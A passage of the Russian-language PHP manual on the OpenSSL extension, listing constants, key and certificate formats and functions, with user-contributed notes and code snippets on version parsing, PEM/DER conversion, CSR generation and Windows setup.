OPENSSL_ALGO_SHA384 (int)
OPENSSL_ALGO_SHA512 (int)
OPENSSL_ALGO_RMD160 (int)
OPENSSL_ALGO_MD5 (int)
OPENSSL_ALGO_MD4 (int)
OPENSSL_ALGO_MD2 (int)
Эта константа доступна, только если PHP скомпилирован с поддержкой MD2. Для этого нужно передать в -DHAVE_OPENSSL_MD2_H CFLAG при компиляции PHP и включить md2 при компиляции OpenSSL 1.0.0+.

User Contributed Notes

tim at remitone dot com 11-Jul-2023 10:38
It should be noted that the default signature algorithm used by openssl_sign() and openssl_verify (OPENSSL_ALGO_SHA1) is no longer supported by default in OpenSSL Version 3 series.

With an up to date OpenSSL library, one has to run
"update-crypto-policies --set LEGACY"
on the server where the library resides in order to allow these functions to work without the optional alternative algorithm argument.


Алгоритмы шифрования

OPENSSL_CIPHER_RC2_40 (int)
OPENSSL_CIPHER_RC2_128 (int)
OPENSSL_CIPHER_RC2_64 (int)
OPENSSL_CIPHER_DES (int)
OPENSSL_CIPHER_3DES (int)
OPENSSL_CIPHER_AES_128_CBC (int)
OPENSSL_CIPHER_AES_192_CBC (int)
OPENSSL_CIPHER_AES_256_CBC (int)

User Contributed Notes

There are no user contributed notes for this page.


Константы версий

OPENSSL_VERSION_TEXT (string)
OPENSSL_VERSION_NUMBER (int)

User Contributed Notes

sergey dot dryabzhinsky at gmail dot com 27-Oct-2016 02:18
Plase note that these constants show not
the current system openssl library version
but version PHP was compiled with.
fontajos at phpeppershop dot com 23-May-2016 12:02
Fixed version (patch hexdec conversion + version_compare usage)

<?php
// OPENSSL_VERSION_NUMBER parser, works from OpenSSL v.0.9.5b+ (e.g. for use with version_compare())
// OPENSSL_VERSION_NUMBER is a numeric release version identifier for OpenSSL
// Syntax: MNNFFPPS: major minor fix patch status (HEX)
// The status nibble meaning: 0 => development, 1 to e => betas, f => release
// Examples:
// - 0x000906023 => 0.9.6b beta 3
// - 0x00090605f => 0.9.6e release
// - 0x1000103f  => 1.0.1c
/**
* @param Return Patch-Part as decimal number for use with version_compare
* @param OpenSSL version identifier as hex value $openssl_version_number
*/
function get_openssl_version_number($patch_as_number=false,$openssl_version_number=null) {
    if (is_null($openssl_version_number)) $openssl_version_number = OPENSSL_VERSION_NUMBER;
    $openssl_numeric_identifier = str_pad((string)dechex($openssl_version_number),8,'0',STR_PAD_LEFT);

    $openssl_version_parsed = array();
    $preg = '/(?<major>[[:xdigit:]])(?<minor>[[:xdigit:]][[:xdigit:]])(?<fix>[[:xdigit:]][[:xdigit:]])';
    $preg.= '(?<patch>[[:xdigit:]][[:xdigit:]])(?<type>[[:xdigit:]])/';
    preg_match_all($preg, $openssl_numeric_identifier, $openssl_version_parsed);
    $openssl_version = false;
    if (!empty($openssl_version_parsed)) {
        $alphabet = array(1=>'a',2=>'b',3=>'c',4=>'d',5=>'e',6=>'f',7=>'g',8=>'h',9=>'i',10=>'j',11=>'k',
                                       12=>'l',13=>'m',14=>'n',15=>'o',16=>'p',17=>'q',18=>'r',19=>'s',20=>'t',21=>'u',
                                       22=>'v',23=>'w',24=>'x',25=>'y',26=>'z');
        $openssl_version = intval($openssl_version_parsed['major'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['minor'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['fix'][0]);
        $patchlevel_dec = hexdec($openssl_version_parsed['patch'][0]);
        if (!$patch_as_number && array_key_exists($patchlevel_dec, $alphabet)) {
            $openssl_version.= $alphabet[$patchlevel_dec]; // ideal for text comparison
        }
        else {
            $openssl_version.= '.'.$patchlevel_dec; // ideal for version_compare
        }
    }
    return $openssl_version;
}
?>
fontajos at phpeppershop dot com 03-May-2016 03:46
// OPENSSL_VERSION_NUMBER parser, works from OpenSSL v.0.9.5b+ (e.g. for use with version_compare())
// OPENSSL_VERSION_NUMBER is a numeric release version identifier for OpenSSL
// Syntax: MNNFFPPS: major minor fix patch status (HEX)
// The status nibble meaning: 0 => development, 1 to e => betas, f => release
// Examples:
// - 0x000906023 => 0.9.6b beta 3
// - 0x00090605f => 0.9.6e release
// - 0x1000103f  => 1.0.1c
/**
 * @param OpenSSL version identifier as hex value $openssl_version_number
 */
function get_openssl_version_number($patch_as_number=false,$openssl_version_number=null) {
    if (is_null($openssl_version_number)) $openssl_version_number = OPENSSL_VERSION_NUMBER;
    $openssl_numeric_identifier = str_pad((string)dechex($openssl_version_number),8,'0',STR_PAD_LEFT);

    $openssl_version_parsed = array();
    $preg = '/(?<major>[[:xdigit:]])(?<minor>[[:xdigit:]][[:xdigit:]])(?<fix>[[:xdigit:]][[:xdigit:]])';
    $preg.= '(?<patch>[[:xdigit:]][[:xdigit:]])(?<type>[[:xdigit:]])/';
    preg_match_all($preg, $openssl_numeric_identifier, $openssl_version_parsed);

    $openssl_version = false;
    if (!empty($openssl_version_parsed)) {
        $alphabet = array(1=>'a',2=>'b',3=>'c',4=>'d',5=>'e',6=>'f',7=>'g',8=>'h',9=>'i',10=>'j',11=>'k',12=>'l',13=>'m',
                                      14=>'n',15=>'o',16=>'p',17=>'q',18=>'r',19=>'s',20=>'t',21=>'u',22=>'v',23=>'w',24=>'x',25=>'y',26=>'z');
        $openssl_version = intval($openssl_version_parsed['major'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['minor'][0]).'.';
        $openssl_version.= intval($openssl_version_parsed['fix'][0]);
        if (!$patch_as_number && array_key_exists(intval($openssl_version_parsed['patch'][0]), $alphabet)) {
            $openssl_version.= $alphabet[intval($openssl_version_parsed['patch'][0])]; // ideal for text comparison
        }
        else {
            $openssl_version.= '.'.intval($openssl_version_parsed['patch'][0]); // ideal for version_compare
        }
    }

    return $openssl_version;
}
sebastian.goendoer 19-Aug-2015 08:06
<?php
echo "openssl version text: " . OPENSSL_VERSION_TEXT . "\n";
echo "openssl version number:  " . OPENSSL_VERSION_NUMBER . "\n";
?>

will output something like:

    openssl version text: OpenSSL 1.0.2d 9 Jul 2015
    openssl version number:  268443727

see also: https://wiki.openssl.org/index.php/Manual:OPENSSL_VERSION_NUMBER(3)


Константа SNI (Server Name Indication)

OPENSSL_TLSEXT_SERVER_NAME (string)
Независимо от доступности SNI.

Замечание:

Эта константа требует PHP собранного с библиотекой OpenSSL версии 0.9.8j или выше.

User Contributed Notes

There are no user contributed notes for this page.


Другие константы

OPENSSL_RAW_DATA (bool)
Если OPENSSL_RAW_DATA установлена в openssl_encrypt() или openssl_decrypt(), возвращаемые данные возвращаются как есть. Если константа не указана, вызывающей стороне возвращаются данные в кодировке Base64.
OPENSSL_ZERO_PADDING (bool)
По умолчанию операции шифрования дополняются стандартным заполнением блока, а заполнение проверяется и удаляется при дешифровании. Если OPENSSL_ZERO_PADDING установлен в options функции openssl_encrypt() или openssl_decrypt(), то заполнение не выполняется, общий объем зашифрованных или расшифрованных данных должен быть кратен размеру блока, иначе возникнет ошибка.
OPENSSL_ENCODING_SMIME (int)
Указывает, что используется кодировка S/MIME.
OPENSSL_ENCODING_DER (int)
Указывает, что используется кодировка DER (Distinguished Encoding Rules).
OPENSSL_ENCODING_PEM (int)
Указывает, что используется кодировка PEM (Privacy-Enhanced Mail).

User Contributed Notes

There are no user contributed notes for this page.


Параметры ключа/сертификата

Некоторые функции openssl требуют параметры в виде ключа или сертификата. Можно использовать один из следующих вариантов:

  • Сертификаты

    1. Экземпляр OpenSSLCertificate (или до PHP 8.0.0 ресурс (resource) типа OpenSSL X.509), возвращаемый функцией openssl_x509_read()
    2. Строка формата file://path/to/cert.pem; указанный файл должен содержать сертификат в формате PEM.
    3. Строка, в которой находится содержимое сертификата/ключа, закодированного PEM, может начинаться с -----BEGIN CERTIFICATE-----.

  • Запросы подписи сертификата (Certificate Signing Requests или CSRs)

    1. Экземпляр OpenSSLCertificateSigningRequest (или до PHP 8.0.0 ресурс (resource) типа OpenSSL X.509 CSR), возвращаемый функцией openssl_csr_new()
    2. Строка вида file://path/to/csr.pem; указанный файл должен содержать CSR в формате PEM.
    3. Строка с CSR, кодированная в формате PEM, должна начинаться с -----BEGIN CERTIFICATE REQUEST-----.

  • Открытые/закрытые ключи

    1. Экземпляр OpenSSLAsymmetricKey (или до PHP 8.0.0 ресурс (resource) типа OpenSSL key), возвращаемый функцией openssl_get_publickey() или openssl_get_privatekey()
    2. Только для открытых ключей: экземпляр OpenSSLCertificate (или до PHP 8.0.0 ресурс (resource) типа OpenSSL X.509)
    3. Строка формата file://path/to/file.pem - указанный файл должен содержать сертификат в формате PEM (может содержать оба ключа).
    4. Строка, в которой находится содержимое сертификата/ключа, закодированного PEM, может начинаться с -----BEGIN CERTIFICATE-----.
    5. Для закрытых ключей возможно использование синтаксиса array($key, $passphrase) где $key представляет ключ указанный при помощи формата file:// или текстовое содержимое описанное выше, а $passphrase представляет строку, содержащую пароль для указанного закрытого ключа

User Contributed Notes

There are no user contributed notes for this page.


Проверка сертификатов

Когда происходит вызов функции проверки подписи/сертификата, параметр ca_info должен содержать массив файлов и директорий, указывающие на размещение доверенных корневых сертификатов. Если указывается директория, она должна соответствовать директории, которую сможет использовать команда openssl.

User Contributed Notes

There are no user contributed notes for this page.


Функции OpenSSL

Содержание

  • openssl_cipher_iv_length — Получает длину инициализирующего вектора шифра
  • openssl_cipher_key_length — Получает длину ключа шифрования
  • openssl_cms_decrypt — Расшифровывает CMS-сообщение
  • openssl_cms_encrypt — Зашифровывает CMS-сообщение
  • openssl_cms_read — Экспортирует файл CMS в массив сертификатов PEM
  • openssl_cms_sign — Подписывает файл
  • openssl_cms_verify — Проверяет подпись CMS
  • openssl_csr_export_to_file — Экспортирует CSR в файл
  • openssl_csr_export — Экспортирует CSR в виде строки
  • openssl_csr_get_public_key — Возвращает открытый ключ CSR
  • openssl_csr_get_subject — Возвращает субъект CSR
  • openssl_csr_new — Генерирует CSR
  • openssl_csr_sign — Подписать CSR с помощью другого сертификата (или им же) и создать сертификат
  • openssl_decrypt — Расшифровывает данные
  • openssl_dh_compute_key — Вычисляет общий секретный ключ для значения удалённого открытого ключа DH и локального ключа DH
  • openssl_digest — Вычисление дайджеста
  • openssl_encrypt — Шифрует данные
  • openssl_error_string — Возвращает сообщение об ошибке openSSL
  • openssl_free_key — Высвобождение ресурса ключа
  • openssl_get_cert_locations — Получить доступные месторасположения сертификатов
  • openssl_get_cipher_methods — Получить список доступных алгоритмов шифрования
  • openssl_get_curve_names — Список доступных имён кривых для ECC
  • openssl_get_md_methods — Получить список доступных методов хеширования
  • openssl_get_privatekey — Псевдоним openssl_pkey_get_private
  • openssl_get_publickey — Псевдоним openssl_pkey_get_public
  • openssl_open — Открыть запечатанные данные
  • openssl_pbkdf2 — Генерирует строки PKCS5 v2 PBKDF2
  • openssl_pkcs12_export_to_file — Экспортирует в совместимый с PKCS#12 файл хранилища сертификатов
  • openssl_pkcs12_export — Экспортирует совместимый с PKCS#12 файл хранилища сертификатов в переменную
  • openssl_pkcs12_read — Разбирает хранилище сертификатов PKCS#12 в массив
  • openssl_pkcs7_decrypt — Расшифровать сообщение, зашифрованное S/MIME
  • openssl_pkcs7_encrypt — Шифрует сообщение S/MIME
  • openssl_pkcs7_read — Экспортировать файл PKCS7 в массив сертификатов PEM
  • openssl_pkcs7_sign — Подписать сообщение S/MIME
  • openssl_pkcs7_verify — Проверить подпись сообщения S/MIME
  • openssl_pkey_derive — Вычисляет общий секрет для открытого значения удалённого и локального ключа DH или ECDH
  • openssl_pkey_export_to_file — Записывает в файл ключ в формате PEM
  • openssl_pkey_export — Получает строку с ключом в формате PEM
  • openssl_pkey_free — Освобождает ресурс закрытого ключа
  • openssl_pkey_get_details — Получает массив с детальной информацией о ключе
  • openssl_pkey_get_private — Получить закрытый ключ
  • openssl_pkey_get_public — Извлекает открытый ключ из сертификата и подготавливает его к использованию
  • openssl_pkey_new — Генерирует новый закрытый ключ
  • openssl_private_decrypt — Расшифровывает данные с помощью закрытого ключа
  • openssl_private_encrypt — Шифрует данные секретным ключом
  • openssl_public_decrypt — Расшифровка данных с помощью открытого ключа
  • openssl_public_encrypt — Шифрование данных открытым ключом
  • openssl_random_pseudo_bytes — Генерирует псевдослучайную последовательность байт
  • openssl_seal — Запечатать (зашифровать) данные
  • openssl_sign — Генерация подписи
  • openssl_spki_export_challenge — Экспорт вызова, связанного с подписанным ключом и вызовом
  • openssl_spki_export — Экспорт открытого ключа в формате PEM из подписанного открытого ключа с вызовом
  • openssl_spki_new — Создание нового подписанного открытого ключа с вызовом
  • openssl_spki_verify — Проверяет подписанный открытый ключ и вызов
  • openssl_verify — Сверка сигнатуры
  • openssl_x509_check_private_key — Проверить, относится ли секретный ключ к сертификату
  • openssl_x509_checkpurpose — Проверяет, можно ли использовать сертификат для конкретных задач
  • openssl_x509_export_to_file — Экспортирует сертификат в файл
  • openssl_x509_export — Экспортирует сертификат в строку
  • openssl_x509_fingerprint — Вычисляет отпечаток или дайджест, заданный сертификатом X.509
  • openssl_x509_free — Высвобождает ресурс сертификата
  • openssl_x509_parse — Разобрать сертификат X509 и получить массив с данными о нем
  • openssl_x509_read — Разобрать сертификат X.509 и вернуть для него объект
  • openssl_x509_verify — Проверка цифровой подписи сертификата x509 с помощью публичного ключа

User Contributed Notes

Anonymous 24-Nov-2020 10:50
Improvement to the first comment, this function will handle correctly cert chains when converting from PEM to DER format:

<?php

    function pemToDer(string $pem_data): string
    {
        $der_data = '';

        $begin = "-----BEGIN CERTIFICATE-----";
        $end   = "-----END CERTIFICATE-----";
        while (strpos($pem_data, $begin) !== false) {
            $pem_data = substr($pem_data, strpos($pem_data, $begin) + strlen($begin));
            $der_data .= substr($pem_data, 0, strpos($pem_data, $end));
            $pem_data = substr($pem_data, strpos($pem_data, $end) + strlen($end));
        }

        return base64_decode($der_data);
    }
karel dot wintersky at gmail dot com 20-Sep-2017 11:40
May be useful for cyphers execution speed.

<?php
// PHP 7.0+ required!
// see results at https://gist.github.com/KarelWintersky/fe29dcad75de515e5a468894e7c070e6

const TEST_COUNT = 100000;
const SOURCE = 'Note that HTML tags are not allowed in the posts, but the note formatting is preserved.';
const KEY = "password";

function TESTER( $testing_function, $argument )
{
    $t = microtime(true);

    for ($test_iterator = 0; $test_iterator < TEST_COUNT; $test_iterator++) {
        $testing_function( $argument );
    }
    return round(microtime(true) - $t, 4);
}

$crypt = function($cipher) {
    $ivlen = openssl_cipher_iv_length($cipher);
    $iv = openssl_random_pseudo_bytes($ivlen);
    openssl_encrypt(SOURCE, $cipher, KEY, $options=0, $iv);
};

$methods = openssl_get_cipher_methods(false);

array_splice( $methods, 0, count($methods) / 2);

$timings = array();

foreach ($methods as $cypher) {
    $time = TESTER( $crypt, $cypher );
    $timings[ $cypher ] = $time;
    echo str_pad($cypher, 40, ' ', STR_PAD_LEFT), " have time  ", str_pad($time, 8, STR_PAD_LEFT), ' seconds. ', PHP_EOL;
}

uasort($timings, function($a, $b){
    return $a <=> $b;
});

$min_time = round(reset($timings) / TEST_COUNT, 7);
$min_cypher = key($timings);

$max_time = round(end($timings) / TEST_COUNT, 7);
$max_cypher = key($timings);

echo '-------------', PHP_EOL;
echo "Total tests: ", count($timings), PHP_EOL;
echo "Max timing : {$max_time} seconds for `{$max_cypher}` algorithm.", PHP_EOL;
echo "Min timing : {$min_time} seconds for `{$min_cypher}` algorithm.", PHP_EOL;

echo 'Details: ', PHP_EOL;

foreach ($timings as $m => $t) {
    echo '- ', str_pad($t, 8, STR_PAD_LEFT), " seconds for `{$m}`",  PHP_EOL;
}

echo PHP_EOL;
kraven at kraven dot org 10-Jan-2013 06:35
If you want to verify that a csr was generated properly from your private key you can do the following:

<?php
$countryName = "UK";
$stateOrProvinceName = "London";
$localityName = "Blah";
$organizationName = "Blah1";
$organizationalUnitName = "Blah2";
$commonName = "Joe Bloggs";
$emailAddress = "openssl@example.com";

$dn = array(
  "countryName" => $countryName,
  "stateOrProvinceName" => $stateOrProvinceName,
  "localityName" => $localityName,
  "organizationName" => $organizationName,
  "organizationalUnitName" => $organizationalUnitName,
  "commonName" => $commonName,
  "emailAddress" => $emailAddress
);

$badPriv = 'foo';

// generate a bad csr
$badCsr = openssl_csr_new($dn, $badPriv);

// generate private key
$priv = openssl_pkey_new();

// generate csr
$csr = openssl_csr_new($dn, $priv);

$badCsrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($badCsr));
$privDetails = openssl_pkey_get_details($priv);
$csrDetails = openssl_pkey_get_details(openssl_csr_get_public_key($csr));

echo md5($badCsrDetails['rsa']['n']);
echo "\nDoes not match\n";
echo md5($privDetails['rsa']['n']);
echo "\nMatches\n";
echo md5($csrDetails['rsa']['n']);
echo "\n";
?>

This output is an md5 hash of the modulus.  The same check can be accomplished with openssl:
openssl rsa -noout -modulus -in server.key | openssl md5
openssl req -noout -modulus -in server.csr | openssl md5
rahuul at yours dot com 23-Mar-2010 11:43
for changing serial no of cert following is the solution:

<?php
$sscert = openssl_csr_sign($csr, $cacert, $privkey, $days,$config,$serial);
?>
web at mburda dot com 18-Jun-2008 09:45
There is a little problem with Matt Alexander's code below.
Both public and private key are generated internally and saved into OpenSSL class object properties but only private key is then used.
Public key is taken from an external file and if it differs from the one stored internally, OpenSSL fails to decrypt the text.
stephen_at_liberty-irm_dot_com 09-Mar-2008 03:14
This note is primarily aimed at folks storing encrypted things in MySQL as I'm unfamiliar with other database setups. If you store, for example, a credit card number that has been encrypted by openssl_public_encrypt inside of a database, the column type for the column you are storing the number in must be a blob. This is because "the result might contain arbitrary byte values" (MySQL Reference Manual). Basically, if you try to store it in a VARCHAR, LONGTEXT, etc, certain parts of the encrypted data may be dropped, truncated, etc. This will of course make the data impossible to decrypt. Hopefully this will help someone, because it had me stumped for about an hour!
jts 27-Nov-2007 02:07
Win32 users having trouble getting php_openssl to work should make sure that they replace ALL the versions of libeay32.dll and ssleay32.dll, with the ones included with PHP.  This is especially true while using Apache2 and OpenSSL together, as some OpenSSL win32 packages include older versions of these two files.
daevid at daevid dot com 19-Nov-2007 06:04
There doesn't seem to be a function here to test if a cert is valid (i.e. not corrupt)... This bash snippet should help. Sorry it's not PHP. slap it in a system(); call or make it a bash script and call it that way or something...

if [ "`openssl x509 -in /etc/certs/my.crt -noout -modulus`" = "`openssl rsa -in /etc/keys/my.key -noout -modulus`" ]; then echo "Match"; else echo "Different"; fi
kurian at net4ideas dot com 29-Oct-2007 08:01
For working of openssl in windows platform IIS webserver, we need to enable in php.ini, tne copy libeay32.dll and ssleay32.dll to the php folder (or windows's system32 folder) and add both dll's path to the window's PATH variable. It seems to be working for me after I did these changes.
mattalexx at gmail dot com 29-Aug-2007 02:16
Use this for simple public/private key encryption.

<?php

/**
 * Point to your config file
 *
 */
define("OPEN_SSL_CONF_PATH", "/usr/share/ssl/openssl.cnf");
/**
 * Length of time certificate is valid (in days)
 *
 */
define("OPEN_SSL_CERT_DAYS_VALID", 365);
/**
 * Passphrase required with private key
 *
 */
define("OPEN_SSL_PASSPHRASE", "lkdfjbjeyrasdfvkajwdeblsolkdkdjfbvzslalsmdbfvksb");
/**
 * Enter description here...
 *
 */
define("OPEN_SSL_PUBKEY_PATH", "/docs/domains/mywebsite.com/docs/key.pem"); // Public key path

/**
 * A wrapper class for a simple subset of the PHP OpenSSL functions. Use for public key encryption jobs.
 *
 * <code>
 *
 * // To configure
 * // 1. Set OPEN_SSL_CONF_PATH to the path of your openssl.cnf file.
 * // 2. Set OPEN_SSL_PASSPHRASE to any passphrase.
 * // 3. Use the OpenSSL::do_csr method to generate your private and public keys (see next section).
 * // 4. Save the private key somewhere offline and save your public key somewhere on this machine.
 * // 5. Set OPEN_SSL_PUBKEY_PATH to the public key's path.
 *
 * // To generate keys
 * $ossl = new OpenSSL;
 * $ossl->do_csr();
 * $privatekey = $ossl->privatekey;
 * $publickey = $ossl->publickey;
 * unset($ossl);
 *
 * // Encrypt
 * $text = "Secret text";
 * $ossl = new OpenSSL;
 * $ossl->encrypt($text);
 * $encrypted_text = $ossl->crypttext;
 * $ekey = $ossl->ekey;
 * unset($ossl);
 *
 * // Decrypt
 * $ossl = new OpenSSL;
 * $decrypted_text = $ossl->decrypt($encrypted_text, $privatekey, $ekey);
 * unset($ossl);
 *
 * @author Matt Alexander (mattalexx@gmail.com) [based on code by Alex Poole (php@wwwcrm.com)]
 * @copyright 2007
 *
 */
class OpenSSL {

   public $privatekey;
   public $publickey;
   public $csr;
   public $crypttext;
   public $ekey;

   public function encrypt($plain) {

      // Turn public key into resource
      $publickey = openssl_get_publickey(is_file(OPEN_SSL_PUBKEY_PATH)? file_get_contents(OPEN_SSL_PUBKEY_PATH) : OPEN_SSL_PUBKEY_PATH);

      // Encrypt
      openssl_seal($plain, $crypttext, $ekey, array($publickey));
      openssl_free_key($publickey);

      // Set values
      $this->crypttext = $crypttext;
      $this->ekey = $ekey[0];
   }

   public function decrypt($crypt, $privatekey, $ekey="") {

      // Turn private key into resource
      $privatekey = openssl_get_privatekey((is_file($privatekey)? file_get_contents($privatekey) : $privatekey), OPEN_SSL_PASSPHRASE);

      // Decrypt
      openssl_open($crypt, $plaintext, $ekey, $privatekey);
      openssl_free_key($privatekey);

      // Return value
      return $plaintext;
   }

   public function do_csr(
   $countryName = "UK",
   $stateOrProvinceName = "London",
   $localityName = "Blah",
   $organizationName = "Blah1",
   $organizationalUnitName = "Blah2",
   $commonName = "Joe Bloggs",
   $emailAddress = "openssl@domain.com"
   ) {
      $dn = array(
         "countryName" => $countryName,
         "stateOrProvinceName" => $stateOrProvinceName,
         "localityName" => $localityName,
         "organizationName" => $organizationName,
         "organizationalUnitName" => $organizationalUnitName,
         "commonName" => $commonName,
         "emailAddress" => $emailAddress
         );
      $config = array(
         "config" => OPEN_SSL_CONF_PATH
         );
      $privkey = openssl_pkey_new();
      $csr = openssl_csr_new($dn, $privkey, $config);
      $sscert = openssl_csr_sign($csr, null, $privkey, OPEN_SSL_CERT_DAYS_VALID, $config);
      openssl_x509_export($sscert, $this->publickey);
      openssl_pkey_export($privkey, $this->privatekey, OPEN_SSL_PASSPHRASE, $config);
      openssl_csr_export($csr, $this->csr);
   }

}

?>
ChronoFish 16-Aug-2007 11:17
There is a note below regarding the need to copy BOTH ssleay32.dll AND libeay32.dll to a folder in the system PATH on Win32 systems.

That is absolutely true.  It should be noted also that Windows will search the Windows system directories before it will search the PATH.  If you have existing .dlls in these directories - rename (rather than deleting in case you need to undo your changes) them and copy over the latest version of these files.

Key locations may include the /i386, /windows/system32, and ~/apache/.../modules directories.

I also updated my ~/subversion/bin directory.

-CF
igor dot gorshkov at gmail dot com 27-Apr-2007 05:31
I generate certificates in such a way.

$config = array("config" => "d:/sslcert/openssl.cnf");
$dn = array(
   "countryName" => "RU",
   "stateOrProvinceName" => "Russia",
   "localityName" => "Saint-Petersburg",
   "organizationName" => "temp",
   "organizationalUnitName" => "temp",
   "commonName" => "temp",
   "emailAddress" => "temp@temp.com"
);
$privkey_enc = openssl_pkey_new($config);
$csr = openssl_csr_new($dn, $privkey_enc, $config);
$sscert = openssl_csr_sign($csr, null, $privkey_enc, 365);
openssl_x509_export_to_file($sscert, "d:/cert_enc.crt");
openssl_pkey_export_to_file($privkey_enc, "d:/privkey_enc.pem");

As a result all the received certificates have identical serial number (00). But it should not be! How to avoid it?
dan -AT- NOSPAM danschafer DOT netTT 28-Mar-2007 10:58
Currently, all OpenSSL Functions defined in PHP only utilize the PEM format.  Use the following code to convert from DER to PEM and PEM to DER.

<?php
$pem_data = file_get_contents($cert_path.$pem_file);
$pem2der = pem2der($pem_data);

$der_data = file_get_contents($cert_path.$der_file);
$der2pem = der2pem($der_data);

function pem2der($pem_data) {
   $begin = "CERTIFICATE-----";
   $end   = "-----END";
   $pem_data = substr($pem_data, strpos($pem_data, $begin)+strlen($begin));
   $pem_data = substr($pem_data, 0, strpos($pem_data, $end));
   $der = base64_decode($pem_data);
   return $der;
}

function der2pem($der_data) {
   $pem = chunk_split(base64_encode($der_data), 64, "\n");
   $pem = "-----BEGIN CERTIFICATE-----\n".$pem."-----END CERTIFICATE-----\n";
   return $pem;
}
?>
Richard Ablewhite 04-Dec-2006 02:23
Windows users be warned that you need the following file in system32:

msvcr71.dll

It has to go in system32, is not picked up from php/dlls
yabba dabba 26-Jul-2006 11:23
The php4 distribution for Windows/IIS has a README-SSL.txt which strongly implies that just the path needs to be added to the OPENSLL_CONF variable in the server's environment variables. Be sure to add the file name and extension too.

E.g.: c:\php-4.3.11\openssl\openssl.cnf
peter dot mescalchin @ geemail dot com 16-May-2006 01:34
For w32 users to enable OpenSSL support. As well as copying "libeay32.dll" to the windows system32 folder you also need to copy "ssleay32.dll".  The documentation above should probably be updated to note this.

This requirement was documented at the libcurl pages:

http://curl.haxx.se/libcurl/php/install.html#windows
php ~at~ wwwcrm dot komm 16-Nov-2005 08:47
If you want to use PHP for public / private key encryption jobs without needing to know the ins and outs of the Open SSL extension, the following may be of interest:

http://www.karenandalex.com/php_stuff/_class_OpenSSL.phps

This class was unavailable for a long while (server problems) but is now back up. Apologies to those who clicked through and got a 404

I hope it is useful to you...

Alex
beckman at purplecow dot com 08-Nov-2005 12:07
FreeBSD Ports tree php5-openssl uses openssl-0.9.8a.  This is a problem, as if you install these two ports and attempt to open an HTTPS URL within PHP, it will fail with this error from openssl_error_string(): error:140A90A1:SSL routines:func(169):reason(161) which is SSL_R_LIBRARY_HAS_NO_CIPHERS or "library has no ciphers"

This is because the openssl library now requires you to load your ciphers manually -- all ciphers are not automatically loaded for you.

I don't believe the php5-openssl module has been updated to do this before opening an SSL connection (as of 5.0.5).

Using openssl-0.9.7i seems to work; symlinking libcrypto.so.3 to libcrypto.so.4 prevents the php5-openssl port from trying to install openssl-0.9.8a.  So install openssl-stable (0.9.7i) from ports first, symlink 2nd, then install php5-openssl 3rd, and you should be OK.
matt at NOSPAMopenflowsPLEASE dot org 08-Nov-2005 10:42
The openssl functions were disabled in Debian release 3.0 (woody), but as of release 3.1 (sarge) they're available again.
greensweater 31-Aug-2005 04:21
Sorry, the code in my previous note doesn't work... the last line should read:

$csr = openssl_csr_new(array('commonName'=>'MyCSR'),$pkey,$config);
greensweater 30-Aug-2005 09:54
"You need to have a valid openssl.cnf installed for this function to operate correctly" includes most openssl functions. You can force php to find your openssl.cnf file as follows:

$config = array('config'=>'/path/to/openssl.cnf');
$pkey = openssl_pkey_new($config);
$csr = openssl_csr_new('MyCSR',$pkey,$config);
skippy zuavra net 20-Oct-2004 05:38
In case you're wondering what's a "correctly hashed" directory for the use with cainfo: it's simply a directory which contains CA public certificates in PEM/X.509 format. You can get such certificates either from the CA's website (they advertise it in visible places) or from your browser. In Explorer for instance you can click on the little yellow padlock, go to the CA entry and export it.

The only trick with the directory is that file names must be in the form "hash.#". The "hash" part is the 8-digit hex hash of the certificate, while the # part is a number which serves to differentiate certificates which give the same hash (yes, it can happen with certificates coming from the same CA). Usually # is 0, but you also can use 1, 2 and so on when having more certs with the same hash.

In order to obtain the hash of a certificate you can use the openssl command line utility like this:

openssl x509 -hash -in certfile.cer | head -1
jaz at ensn dot net 16-Sep-2004 11:18
For newbies (as me):
If you want to try at home on win32, you can learn how to install apache+ssl on this url: http://tud.at/programm/apache-ssl-win32-howto.php3

Versions on English, Spanish and French.

Just I have read and install and run perfectly.
norman at rasmussen dot org 02-Feb-2004 10:43
Debian maintainers have disabled the openssl support because it seems to help break apache on startup.  (http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=193343 and http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=165699)

- Norman


Получает длину инициализирующего вектора шифра

  • « Функции OpenSSL
  • openssl_cipher_key_length »
  • PHP Manual
  • Функции OpenSSL
  • Получает длину инициализирующего вектора шифра

openssl_cipher_iv_length

(PHP 5 >= 5.3.3, PHP 7, PHP 8)

openssl_cipher_iv_length — Получает длину инициализирующего вектора шифра

Описание

openssl_cipher_iv_length(string $cipher_algo): int|false

Возвращает длину инициализирующего вектора шифра.

Список параметров

cipher_algo

Метод шифрования. Список потенциальных значений можно получить с помощью openssl_get_cipher_methods().

Возвращаемые значения

Возвращает длину инициализирующего вектора шифра или false.

Ошибки

Выдаёт ошибку уровня E_WARNING в случае передачи неизвестного алгоритма шифрования.

Примеры

Пример #1 Пример использования openssl_cipher_iv_length()

<?php
$method = 'AES-128-CBC';
$ivlen = openssl_cipher_iv_length($method);

echo $ivlen;
?>

Результатом выполнения данного примера будет что-то подобное:

16

User Contributed Notes

Vee W. 07-Apr-2018 04:30
<?php
$ciphers = openssl_get_cipher_methods();

//ECB mode should be avoided
$ciphers = array_filter($ciphers, function ($n) {
    return stripos($n, "ecb") === FALSE;
});

// At least as early as Aug 2016, Openssl declared the following weak: RC2, RC4, DES, 3DES, MD5 based
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "des") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "rc2") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "rc4") === FALSE;
});
$ciphers = array_filter($ciphers, function ($c) {
    return stripos($c, "md5") === FALSE;
});

if (is_array($ciphers)) {
    foreach ($ciphers as $cipher) {
        echo $cipher.': ';
        echo openssl_cipher_iv_length($cipher);
        echo "<br>\n";
    }
}
?>

Will be...
AES-xxx-xxx is 16
BF-xxx is 8
CAMELLIA-xxx is 16
CAST5-xxx is 8
IDEA-xxx is 8
SEED-xxx is 16

lower case:
aes-xxx-xxx are mixed between 16 and 12.
id-aes-xxx are mixed between 12 and 8.
The values above are tested with PHP 5.5 - 5.6 on Windows. In PHP 7.x is different than this.
Tim Hunt 10-Dec-2014 05:37
The return value is a length in bytes. (Not bits, or anything else.)


Получает длину ключа шифрования

  • « openssl_cipher_iv_length
  • openssl_cms_decrypt »
  • PHP Manual
  • Функции OpenSSL
